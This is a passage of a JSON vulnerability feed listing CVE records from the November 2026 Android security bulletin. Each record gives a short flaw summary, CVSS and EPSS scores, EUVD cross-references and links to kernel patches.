of service due to improper input validation. This could lead to local denial of service with no additional execution privileges needed. User interaction is not needed for exploitation.","published_time":"2026-11-02T19:53:36","cvss":6.2,"cvss_version":"3.1","epss":0.0,"assigner":"google_android","references":["https://source.android.com/docs/security/bulletin/2026/2026-11-01"],"products":["Android","Android","Android","Android","Android"],"vendors":["Google"]},"ghsa":null},{"cve_id":"CVE-2026-58821","summary":"In multiple functions of SearchRequestDatabaseUtil.java, there is a possible way to access protected data due to SQL injection. This could lead to local denial of service with no additional execution privileges needed. User interaction is not needed for exploitation.","cvss":6.2,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":6.2,"cvss_v4":null,"epss":0.00117,"ranking_epss":0.01662,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://source.android.com/docs/security/bulletin/2026/2026-11-01"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-02T20:17:47","euvd":{"id":"EUVD-2026-115581","description":"In multiple functions of SearchRequestDatabaseUtil.java, there is a possible way to access protected data due to SQL injection. This could lead to local denial of service with no additional execution privileges needed. User interaction is not needed for exploitation.","published_time":"2026-11-02T19:53:38","cvss":6.2,"cvss_version":"3.1","epss":0.0,"assigner":"google_android","references":["https://source.android.com/docs/security/bulletin/2026/2026-11-01"],"products":["Android","Android","Android"],"vendors":["Google"]},"ghsa":null},{"cve_id":"CVE-2026-58824","summary":"In __pkvm_load_tracing of trace.c, there is a possible out-of-bounds write due to an incorrect bounds check. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.","cvss":8.4,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":8.4,"cvss_v4":null,"epss":0.00162,"ranking_epss":0.05428,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://android.googlesource.com/kernel/common/+/5a6735b89ba7c8684d36e2ecd9b02e834e97de9c","https://android.googlesource.com/kernel/common/+/8be8949794c96f10348fdd3d8dc7740fdfecd4e2","https://source.android.com/docs/security/bulletin/2026/2026-11-01"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-02T20:17:47","euvd":{"id":"EUVD-2026-115582","description":"In __pkvm_load_tracing of trace.c, there is a possible out-of-bounds write due to an incorrect bounds check. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.","published_time":"2026-11-02T19:53:39","cvss":8.4,"cvss_version":"3.1","epss":0.0,"assigner":"google_android","references":["https://android.googlesource.com/kernel/common/+/8be8949794c96f10348fdd3d8dc7740fdfecd4e2","https://android.googlesource.com/kernel/common/+/5a6735b89ba7c8684d36e2ecd9b02e834e97de9c","https://source.android.com/docs/security/bulletin/2026/2026-11-01"],"products":["Android"],"vendors":["Google"]},"ghsa":null},{"cve_id":"CVE-2026-58825","summary":"In multiple functions of fork.c, there is a possible use after free due to a logic error in the code. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.","cvss":8.4,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":8.4,"cvss_v4":null,"epss":0.0011,"ranking_epss":0.01259,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://android.googlesource.com/kernel/common/+/009c5006c969826d37a2c5fc2721a7bb20d72555","https://android.googlesource.com/kernel/common/+/efe16a3021b9f95eb1cb83e98d0d1db9bff94ce4","https://source.android.com/docs/security/bulletin/2026/2026-11-01"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-02T20:17:47","euvd":{"id":"EUVD-2026-115583","description":"In multiple functions of fork.c, there is a possible use after free due to a logic error in the code. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.","published_time":"2026-11-02T19:53:40","cvss":8.4,"cvss_version":"3.1","epss":0.0,"assigner":"google_android","references":["https://android.googlesource.com/kernel/common/+/efe16a3021b9f95eb1cb83e98d0d1db9bff94ce4","https://android.googlesource.com/kernel/common/+/009c5006c969826d37a2c5fc2721a7bb20d72555","https://source.android.com/docs/security/bulletin/2026/2026-11-01"],"products":["Android"],"vendors":["Google"]},"ghsa":null},{"cve_id":"CVE-2026-58826","summary":"In ksys_unshare of fork.c, there is a possible memory corruption due to a use after free. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.","cvss":8.4,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":8.4,"cvss_v4":null,"epss":0.00179,"ranking_epss":0.07563,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://android.googlesource.com/kernel/common/+/009c5006c969826d37a2c5fc2721a7bb20d72555","https://android.googlesource.com/kernel/common/+/13beada2dac38c2d7303f1700aa16fb5053b919d","https://android.googlesource.com/kernel/common/+/efe16a3021b9f95eb1cb83e98d0d1db9bff94ce4","https://android.googlesource.com/kernel/common/+/f7d26609785ce56170645d56f306db38e8ba277a","https://source.android.com/docs/security/bulletin/2026/2026-11-01"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-02T20:17:47","euvd":{"id":"EUVD-2026-115584","description":"In ksys_unshare of fork.c, there is a possible memory corruption due to a use after free. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.","published_time":"2026-11-02T19:53:41","cvss":8.4,"cvss_version":"3.1","epss":0.0,"assigner":"google_android","references":["https://android.googlesource.com/kernel/common/+/13beada2dac38c2d7303f1700aa16fb5053b919d","https://android.googlesource.com/kernel/common/+/efe16a3021b9f95eb1cb83e98d0d1db9bff94ce4","https://android.googlesource.com/kernel/common/+/f7d26609785ce56170645d56f306db38e8ba277a","https://android.googlesource.com/kernel/common/+/009c5006c969826d37a2c5fc2721a7bb20d72555","https://source.android.com/docs/security/bulletin/2026/2026-11-01"],"products":["Android"],"vendors":["Google"]},"ghsa":null},{"cve_id":"CVE-2026-58827","summary":"In multiple functions of dma-buf.c, there is a possible use after free due to a race condition. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.","cvss":8.4,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":8.4,"cvss_v4":null,"epss":0.0011,"ranking_epss":0.01259,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://android.googlesource.com/kernel/common/+/6642375b48bea1fc287a9281db591a8edc74db79","https://android.googlesource.com/kernel/common/+/769fa413e80cca30ff767f6f3e18f920d0353f67","https://source.android.com/docs/security/bulletin/2026/2026-11-01"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-02T20:17:47","euvd":{"id":"EUVD-2026-115585","description":"In multiple functions of dma-buf.c, there is a possible use after free due to a race condition. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.","published_time":"2026-11-02T19:53:42","cvss":8.4,"cvss_version":"3.1","epss":0.0,"assigner":"google_android","references":["https://android.googlesource.com/kernel/common/+/769fa413e80cca30ff767f6f3e18f920d0353f67","https://android.googlesource.com/kernel/common/+/6642375b48bea1fc287a9281db591a8edc74db79","https://source.android.com/docs/security/bulletin/2026/2026-11-01"],"products":["Android"],"vendors":["Google"]},"ghsa":null},{"cve_id":"CVE-2026-58828","summary":"In multiple functions of base.c, there is a possible use-after-free due to a race condition. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.","cvss":8.4,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":8.4,"cvss_v4":null,"epss":0.00179,"ranking_epss":0.07563,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://android.googlesource.com/kernel/common/+/0285abdfbfb9f99898d647dafb2ea7d4bdd22527","https://android.googlesource.com/kernel/common/+/b597ddd55fd100d3eca5b9c2024a5a09dcc950ec","https://android.googlesource.com/kernel/common/+/dd1ca7920b1eb7db5dbd34590c811cd99e2c3fdf","https://android.googlesource.com/kernel/common/+/f118039ccd1a98d1c4931816832b28c3c9e8e471","https://source.android.com/docs/security/bulletin/2026/2026-11-01"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-02T20:17:47","euvd":{"id":"EUVD-2026-115586","description":"In multiple functions of base.c, there is a possible use-after-free due to a race condition. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.","published_time":"2026-11-02T19:53:43","cvss":8.4,"cvss_version":"3.1","epss":0.0,"assigner":"google_android","references":["https://android.googlesource.com/kernel/common/+/b597ddd55fd100d3eca5b9c2024a5a09dcc950ec","https://android.googlesource.com/kernel/common/+/0285abdfbfb9f99898d647dafb2ea7d4bdd22527","https://android.googlesource.com/kernel/common/+/dd1ca7920b1eb7db5dbd34590c811cd99e2c3fdf","https://android.googlesource.com/kernel/common/+/f118039ccd1a98d1c4931816832b28c3c9e8e471","https://source.android.com/docs/security/bulletin/2026/2026-11-01"],"products":["Android"],"vendors":["Google"]},"ghsa":null},{"cve_id":"CVE-2026-58829","summary":"In fuse_backing_mmap of backing.c, there is a possible memory corruption due to a use after free. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.","cvss":8.4,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":8.4,"cvss_v4":null,"epss":0.0011,"ranking_epss":0.01259,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://android.googlesource.com/kernel/common/+/517040c192cebb334766f43604e6a7ebb79d43ae","https://android.googlesource.com/kernel/common/+/984713cde654f06871c542c469e3c226c8a79d9b","https://source.android.com/docs/security/bulletin/2026/2026-11-01"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-02T20:17:47","euvd":{"id":"EUVD-2026-115587","description":"In fuse_backing_mmap of backing.c, there is a possible memory corruption due to a use after free. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.","published_time":"2026-11-02T19:53:44","cvss":8.4,"cvss_version":"3.1","epss":0.0,"assigner":"google_android","references":["https://android.googlesource.com/kernel/common/+/984713cde654f06871c542c469e3c226c8a79d9b","https://android.googlesource.com/kernel/common/+/517040c192cebb334766f43604e6a7ebb79d43ae","https://source.android.com/docs/security/bulletin/2026/2026-11-01"],"products":["Android"],"vendors":["Google"]},"ghsa":null},{"cve_id":"CVE-2026-58814","summary":"In parseContentType of PduParser.java, there is a possible denial of service due to an integer overflow. This could lead to remote denial of service with no additional execution privileges needed. User interaction is not needed for exploitation.","cvss":null,"cvss_version":null,"cvss_v2":null,"cvss_v3":null,"cvss_v4":null,"epss":0.00168,"ranking_epss":0.06125,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://source.android.com/docs/security/bulletin/2026/2026-11-01"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-02T20:17:46","euvd":null,"ghsa":null},{"cve_id":"CVE-2026-55287","summary":"In onCreate of GrantCredentialsPermissionActivity.java, there is a possible way to trick the user into granting account credentials due to misleading or insufficient UI. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.","cvss":8.4,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":8.4,"cvss_v4":null,"epss":0.00099,"ranking_epss":0.00779,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://source.android.com/docs/security/bulletin/2026/2026-11-01"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-02T20:17:45","euvd":{"id":"EUVD-2026-115575","description":"In onCreate of GrantCredentialsPermissionActivity.java, there is a possible way to trick the user into granting account credentials due to misleading or insufficient UI. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.","published_time":"2026-11-02T19:53:31","cvss":8.4,"cvss_version":"3.1","epss":0.0,"assigner":"google_android","references":["https://source.android.com/docs/security/bulletin/2026/2026-11-01"],"products":["Android","Android","Android","Android","Android"],"vendors":["Google"]},"ghsa":null},{"cve_id":"CVE-2026-55288","summary":"In validEfCfis of SIMRecords.java, there is a possible way to cause a denial of service due to an uncaught exception. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.","cvss":8.4,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":8.4,"cvss_v4":null,"epss":0.00114,"ranking_epss":0.01471,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://source.android.com/docs/security/bulletin/2026/2026-11-01"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-02T20:17:45","euvd":{"id":"EUVD-2026-115576","description":"In validEfCfis of SIMRecords.java, there is a possible way to cause a denial of service due to an uncaught exception. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.","published_time":"2026-11-02T19:53:32","cvss":8.4,"cvss_version":"3.1","epss":0.0,"assigner":"google_android","references":["https://source.android.com/docs/security/bulletin/2026/2026-11-01"],"products":["Android","Android","Android","Android","Android"],"vendors":["Google"]},"ghsa":null},{"cve_id":"CVE-2026-55289","summary":"In multiple functions in multiple locations, there is a possible execution of sensitive USSD codes due to a confused deputy. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.","cvss":8.4,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":8.4,"cvss_v4":null,"epss":0.00095,"ranking_epss":0.00625,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://source.android.com/docs/security/bulletin/2026/2026-11-01"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-02T20:17:45","euvd":{"id":"EUVD-2026-115577","description":"In multiple functions in multiple locations, there is a possible execution of sensitive USSD codes due to a confused deputy. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.","published_time":"2026-11-02T19:53:33","cvss":8.4,"cvss_version":"3.1","epss":0.0,"assigner":"google_android","references":["https://source.android.com/docs/security/bulletin/2026/2026-11-01"],"products":["Android"],"vendors":["Google"]},"ghsa":null},{"cve_id":"CVE-2026-55292","summary":"In rw_ci_data_cback of rw_ci.cc, there is a possible memory safety issue due to integer underflow. This could lead to remote information disclosure with no additional execution privileges needed. User interaction is not needed for exploitation.","cvss":null,"cvss_version":null,"cvss_v2":null,"cvss_v3":null,"cvss_v4":null,"epss":0.00168,"ranking_epss":0.06125,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://source.android.com/docs/security/bulletin/2026/2026-11-01"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-02T20:17:45","euvd":null,"ghsa":null},{"cve_id":"CVE-2026-55261","summary":"In nfa_t4tnfcee_store_rx_buf of nfa_nfcee_act.cc, there is a possible way to achieve code execution due to a missing permission check. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.","cvss":8.4,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":8.4,"cvss_v4":null,"epss":0.00114,"ranking_epss":0.01473,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://source.android.com/docs/security/bulletin/2026/2026-11-01"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-02T20:17:44","euvd":{"id":"EUVD-2026-115567","description":"In nfa_t4tnfcee_store_rx_buf of nfa_nfcee_act.cc, there is a possible way to achieve code execution due to a missing permission check. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.","published_time":"2026-11-02T19:53:23","cvss":8.4,"cvss_version":"3.1","epss":0.0,"assigner":"google_android","references":["https://source.android.com/docs/security/bulletin/2026/2026-11-01"],"products":["Android","Android","Android"],"vendors":["Google"]},"ghsa":null},{"cve_id":"CVE-2026-55262","summary":"In setNotificationListenerAccessGrantedForUserInternal of NotificationManagerService.java, there is a possible  policy desynchronization due to improper input validation. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.","cvss":8.4,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":8.4,"cvss_v4":null,"epss":0.00099,"ranking_epss":0.00779,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://source.android.com/docs/security/bulletin/2026/2026-11-01"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-02T20:17:44","euvd":{"id":"EUVD-2026-115568","description":"In setNotificationListenerAccessGrantedForUserInternal of NotificationManagerService.java, there is a possible  policy desynchronization due to improper input validation. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.","published_time":"2026-11-02T19:53:24","cvss":8.4,"cvss_version":"3.1","epss":0.0,"assigner":"google_android","references":["https://source.android.com/docs/security/bulletin/2026/2026-11-01"],"products":["Android","Android","Android","Android","Android"],"vendors":["Google"]},"ghsa":null},{"cve_id":"CVE-2026-55263","summary":"In multiple functions of AllowBindAppWidgetActivity.java, there is a possible misunderstanding of reject/consent actions due to misleading or insufficient UI. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is needed for exploitation.","cvss":8.4,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":8.4,"cvss_v4":null,"epss":0.00114,"ranking_epss":0.01473,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://source.android.com/docs/security/bulletin/2026/2026-11-01"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-02T20:17:44","euvd":{"id":"EUVD-2026-115569","description":"In multiple functions of AllowBindAppWidgetActivity.java, there is a possible misunderstanding of reject/consent actions due to misleading or insufficient UI. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is needed for exploitation.","published_time":"2026-11-02T19:53:25","cvss":8.4,"cvss_version":"3.1","epss":0.0,"assigner":"google_android","references":["https://source.android.com/docs/security/bulletin/2026/2026-11-01"],"products":["Android","Android","Android","Android","Android"],"vendors":["Google"]},"ghsa":null},{"cve_id":"CVE-2026-55264","summary":"In checkWhetherCallingAppHasAccess of DownloadProvider.java, there is a possible information leak due to a confused deputy. This could lead to local information disclosure with no additional execution privileges needed. User interaction is not needed for exploitation.","cvss":4.0,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":4.0,"cvss_v4":null,"epss":0.00114,"ranking_epss":0.01473,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://source.android.com/docs/security/bulletin/2026/2026-11-01"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-02T20:17:44","euvd":{"id":"EUVD-2026-115570","description":"In checkWhetherCallingAppHasAccess of DownloadProvider.java, there is a possible information leak due to a confused deputy. This could lead to local information disclosure with no additional execution privileges needed. User interaction is not needed for exploitation.","published_time":"2026-11-02T19:53:26","cvss":4.0,"cvss_version":"3.1","epss":0.0,"assigner":"google_android","references":["https://source.android.com/docs/security/bulletin/2026/2026-11-01"],"products":["Android","Android","Android","Android","Android"],"vendors":["Google"]},"ghsa":null},{"cve_id":"CVE-2026-55271","summary":"In forwardToPreferredActionPickHandler of ContactsPickerActivity.kt, there is a possible intent redirection due to a confused deputy. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.","cvss":8.4,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":8.4,"cvss_v4":null,"epss":0.00095,"ranking_epss":0.00626,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://source.android.com/docs/security/bulletin/2026/2026-11-01"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-02T20:17:44","euvd":{"id":"EUVD-2026-115571","description":"In forwardToPreferredActionPickHandler of ContactsPickerActivity.kt, there is a possible intent redirection due to a confused deputy. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.","published_time":"2026-11-02T19:53:27","cvss":8.4,"cvss_version":"3.1","epss":0.0,"assigner":"google_android","references":["https://source.android.com/docs/security/bulletin/2026/2026-11-01"],"products":["Android"],"vendors":["Google"]},"ghsa":null},{"cve_id":"CVE-2026-55272","summary":"In loadDescription of DeviceAdminAdd.java, there is a possible denial of service due to improper input validation. This could lead to local denial of service with no additional execution privileges needed. User interaction is not needed for exploitation.","cvss":6.2,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":6.2,"cvss_v4":null,"epss":0.00141,"ranking_epss":0.03451,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://source.android.com/docs/security/bulletin/wear/2026/2026-11-01"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-02T20:17:44","euvd":{"id":"EUVD-2026-115572","description":"In loadDescription of DeviceAdminAdd.java, there is a possible denial of service due to improper input validation. This could lead to local denial of service with no additional execution privileges needed. User interaction is not needed for exploitation.","published_time":"2026-11-02T19:53:28","cvss":6.2,"cvss_version":"3.1","epss":0.0,"assigner":"google_android","references":["https://source.android.com/docs/security/bulletin/wear/2026/2026-11-01"],"products":["Android","Android"],"vendors":["Google"]},"ghsa":null},{"cve_id":"CVE-2026-55275","summary":"In multiple locations, there is a possible use-after-free due to a race condition. This could lead to remote escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.","cvss":8.4,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":8.4,"cvss_v4":null,"epss":0.0016,"ranking_epss":0.05169,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://source.android.com/docs/security/bulletin/2026/2026-11-01"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-02T20:17:44","euvd":{"id":"EUVD-2026-115573","description":"In multiple locations, there is a possible use-after-free due to a race condition. This could lead to remote escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.","published_time":"2026-11-02T19:53:29","cvss":8.4,"cvss_version":"3.1","epss":0.0,"assigner":"google_android","references":["https://source.android.com/docs/security/bulletin/2026/2026-11-01"],"products":["Android","Android","Android"],"vendors":["Google"]},"ghsa":null},{"cve_id":"CVE-2026-55283","summary":"In multiple locations, there is a possible memory safety issue due to a use-after-free. This could lead to remote escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.","cvss":8.4,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":8.4,"cvss_v4":null,"epss":0.0016,"ranking_epss":0.05169,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://source.android.com/docs/security/bulletin/2026/2026-11-01"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-02T20:17:44","euvd":{"id":"EUVD-2026-115574","description":"In multiple locations, there is a possible memory safety issue due to a use-after-free. This could lead to remote escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.","published_time":"2026-11-02T19:53:30","cvss":8.4,"cvss_version":"3.1","epss":0.0,"assigner":"google_android","references":["https://source.android.com/docs/security/bulletin/2026/2026-11-01"],"products":["Android","Android","Android"],"vendors":["Google"]},"ghsa":null},{"cve_id":"CVE-2026-49924","summary":"In ShortcutInfo of ShortcutInfo.java, there is a possible way to crash the launcher via unauthorized shortcuts due to resource exhaustion. This could lead to local denial of service with no additional execution privileges needed. User interaction is not needed for exploitation.","cvss":6.2,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":6.2,"cvss_v4":null,"epss":0.00114,"ranking_epss":0.01475,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://source.android.com/docs/security/bulletin/2026/2026-11-01"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-02T20:17:43","euvd":{"id":"EUVD-2026-115562","description":"In ShortcutInfo of ShortcutInfo.java, there is a possible way to crash the launcher via unauthorized shortcuts due to resource exhaustion. This could lead to local denial of service with no additional execution privileges needed. User interaction is not needed for exploitation.","published_time":"2026-11-02T19:53:14","cvss":6.2,"cvss_version":"3.1","epss":0.0,"assigner":"google_android","references":["https://source.android.com/docs/security/bulletin/2026/2026-11-01"],"products":["Android","Android","Android","Android","Android"],"vendors":["Google"]},"ghsa":null},{"cve_id":"CVE-2026-49931","summary":"In onActivityResult in multiple locations, there is a possible contact leak from protected profile due to a confused deputy. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.","cvss":8.4,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":8.4,"cvss_v4":null,"epss":0.00095,"ranking_epss":0.00625,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://source.android.com/docs/security/bulletin/2026/2026-11-01"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-02T20:17:43","euvd":{"id":"EUVD-2026-115563","description":"In onActivityResult in multiple locations, there is a possible contact leak from protected profile due to a confused deputy. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.","published_time":"2026-11-02T19:53:15","cvss":8.4,"cvss_version":"3.1","epss":0.0,"assigner":"google_android","references":["https://source.android.com/docs/security/bulletin/2026/2026-11-01"],"products":["Android","Android","Android","Android","Android"],"vendors":["Google"]},"ghsa":null},{"cve_id":"CVE-2026-49934","summary":"In multiple functions of MmiUtils.java, there is a possible risk of USSD/MMI code execution due to improper input validation. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is needed for exploitation.","cvss":7.8,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":7.8,"cvss_v4":null,"epss":0.00114,"ranking_epss":0.01472,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://source.android.com/docs/security/bulletin/2026/2026-11-01"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-02T20:17:43","euvd":{"id":"EUVD-2026-115564","description":"In multiple functions of MmiUtils.java, there is a possible risk of USSD/MMI code execution due to improper input validation. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is needed for exploitation.","published_time":"2026-11-02T19:53:19","cvss":7.8,"cvss_version":"3.1","epss":0.0,"assigner":"google_android","references":["https://source.android.com/docs/security/bulletin/2026/2026-11-01"],"products":["Android","Android","Android","Android","Android"],"vendors":["Google"]},"ghsa":null},{"cve_id":"CVE-2026-49935","summary":"In getXmlFileNameForUser of LocaleManagerService.java, there is a possible permission bypass due to a confusable path traversal. This could lead to local information disclosure with no additional execution privileges needed. User interaction is not needed for exploitation.","cvss":4.0,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":4.0,"cvss_v4":null,"epss":0.00121,"ranking_epss":0.0192,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://source.android.com/docs/security/bulletin/2026/2026-11-01"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-02T20:17:43","euvd":{"id":"EUVD-2026-115565","description":"In getXmlFileNameForUser of LocaleManagerService.java, there is a possible permission bypass due to a confusable path traversal. This could lead to local information disclosure with no additional execution privileges needed. User interaction is not needed for exploitation.","published_time":"2026-11-02T19:53:20","cvss":4.0,"cvss_version":"3.1","epss":0.0,"assigner":"google_android","references":["https://source.android.com/docs/security/bulletin/2026/2026-11-01"],"products":["Android","Android","Android","Android","Android"],"vendors":["Google"]},"ghsa":null},{"cve_id":"CVE-2026-55257","summary":"In UsbDialogHelper of UsbDialogHelper.java, there is a possible UI confusion due to misleading or insufficient UI. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.","cvss":8.4,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":8.4,"cvss_v4":null,"epss":0.00099,"ranking_epss":0.0078,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://source.android.com/docs/security/bulletin/2026/2026-11-01"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-02T20:17:43","euvd":{"id":"EUVD-2026-115566","description":"In UsbDialogHelper of UsbDialogHelper.java, there is a possible UI confusion due to misleading or insufficient UI. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.","published_time":"2026-11-02T19:53:22","cvss":8.4,"cvss_version":"3.1","epss":0.0,"assigner":"google_android","references":["https://source.android.com/docs/security/bulletin/2026/2026-11-01"],"products":["Android","Android","Android","Android","Android"],"vendors":["Google"]},"ghsa":null},{"cve_id":"CVE-2026-28621","summary":"In getRingtone of RingtoneFactory.java, there is a possible unprivileged access risk due to a missing permission check. This could lead to local information disclosure with no additional execution privileges needed. User interaction is not needed for exploitation.","cvss":null,"cvss_version":null,"cvss_v2":null,"cvss_v3":null,"cvss_v4":null,"epss":0.00119,"ranking_epss":0.01769,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://source.android.com/docs/security/bulletin/2026/2026-11-01"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-02T20:17:42","euvd":null,"ghsa":null},{"cve_id":"CVE-2026-28632","summary":"In multiple locations, there is a possible way to share files across profiles due to a logic error in the code. This could lead to local information disclosure with no additional execution privileges needed. User interaction is not needed for exploitation.","cvss":null,"cvss_version":null,"cvss_v2":null,"cvss_v3":null,"cvss_v4":null,"epss":0.0012,"ranking_epss":0.01801,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://source.android.com/docs/security/bulletin/2026/2026-11-01"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-02T20:17:42","euvd":null,"ghsa":null},{"cve_id":"CVE-2026-28643","summary":"In multiple locations, there is a possible denial of service due to a missing permission check. This could lead to local denial of service with no additional execution privileges needed. User interaction is not needed for exploitation.","cvss":6.2,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":6.2,"cvss_v4":null,"epss":0.00114,"ranking_epss":0.01475,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://source.android.com/docs/security/bulletin/2026/2026-11-01"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-02T20:17:42","euvd":{"id":"EUVD-2026-115555","description":"In multiple locations, there is a possible denial of service due to a missing permission check. This could lead to local denial of service with no additional execution privileges needed. User interaction is not needed for exploitation.","published_time":"2026-11-02T19:53:07","cvss":6.2,"cvss_version":"3.1","epss":0.0,"assigner":"google_android","references":["https://source.android.com/docs/security/bulletin/2026/2026-11-01"],"products":["Android","Android","Android"],"vendors":["Google"]},"ghsa":null},{"cve_id":"CVE-2026-28645","summary":"In onStrongAuthRequiredChanged of UsbService.java, there is a possible unauthenticated enabling of USB data due to a logic error in the code. This could lead to physical escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.","cvss":6.8,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":6.8,"cvss_v4":null,"epss":0.00135,"ranking_epss":0.02987,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://source.android.com/docs/security/bulletin/2026/2026-11-01"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-02T20:17:42","euvd":null,"ghsa":null},{"cve_id":"CVE-2026-28665","summary":"In onCreate of SettingsApplication.java, there is a possible cross-profile consent dialog label injection due to improper input validation. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for 